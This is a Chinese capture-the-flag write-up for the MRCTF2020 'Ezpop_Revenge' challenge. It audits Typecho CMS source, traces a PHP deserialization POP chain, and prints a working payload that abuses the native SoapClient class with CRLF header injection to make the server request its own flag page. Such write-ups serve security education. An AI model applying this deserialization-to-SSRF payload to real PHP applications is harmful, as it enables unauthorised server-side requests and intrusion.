【MRCTF2020】Ezpop_Revenge——PHP原生类SSRF
【MRCTF2020】Ezpop_Revenge——PHP原生类SSRF
1. 收获
- CMS初审计
- google、baidu hack
- PHP原生类反序列化
2. 看题
2.1 读源码
网页存在源码泄露，访问www.zip，得到源码。同时要知道，typecho模板是存在反序列化注入漏洞的，但是其存在于install.php，本题中没有这个文件，所以找找其他线索。
flag.php:
<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
$_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>
说明是要读session中的flag字段。
搜索字符串unserialize，找到其他使用反序列化函数的地方，在/usr/plugin.php中发现：
也就是说，如果请求中存在admin字段，同时session中的flag字段也被成功写入，则会输出flag的值。那我们要做的就是满足flag.php中的条件：$_SERVER['REMOTE_ADDR']==="127.0.0.1"。
2.2 函数触发
为了激活该反序列化函数，我们需要查找action函数对应的路由，全局搜索类名HelloWorld_Plugin，定位到文件/var/Typecho/Plugin.php：
可以看到访问/page_admin即可触发action函数。
2.3 POP链
查看/usr/plugin.php中的POP链，定位函数：
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
这里实例化了一个类，所以进入Typecho_Db类中的__construction查看：
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter = new $adapterName();
}
这里提示使用__toString方法。全局搜索toString函数，这里使用/var/Typecho/Db/Query.php中的函数：
public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
.....//省略后面
}
}
可以看到如果我们的_adapter属性不包含parseSelect方法的话就会调用其自身的__call函数，因此这里使用PHP中的原生类SoapClient进行SSRF，因为原生类中包含了__call函数。
利用链：
HelloWorld_DB::wakeup–>Typecho_Db::__construct(tostring)–>Typecho_Db_Query::__construct–>(this->_adapter=new Soapclient)–>SSRF
2.4 Payload
如下：
<?php
class HelloWorld_DB{
private $coincidence;
public function __construct()
{
$this->coincidence['hello'] = new Typecho_Db_Query();
$this->coincidence['world'] = 'test';
}
}
class Typecho_Db_Query{
private $_sqlPreBuild;
private $_adapter;
private $_prefix;
public function __construct()
{
$target = "http://127.0.0.1/flag.php";
$headers = array(
'X-Forwarded-For:127.0.0.1',
"Cookie: PHPSESSID=qjk6oqprtp6i6rl3tgnk1csev6"
);
$this->_adapter = new SoapClient(null, array('uri' => 'test', 'location' => $target, 'user_agent' => "test\r\n" . join("\r\n", $headers)));
$this->_sqlPreBuild['action'] = "SELECT";
}
}
$A=new HelloWorld_DB();
echo urlencode(base64_encode(serialize($A)));
?>
下面只需要使用POST方式把上面的输出放到C0incid3nc3变量中即可。然后在GET参数上再加一个admin变量即可出现flag的值。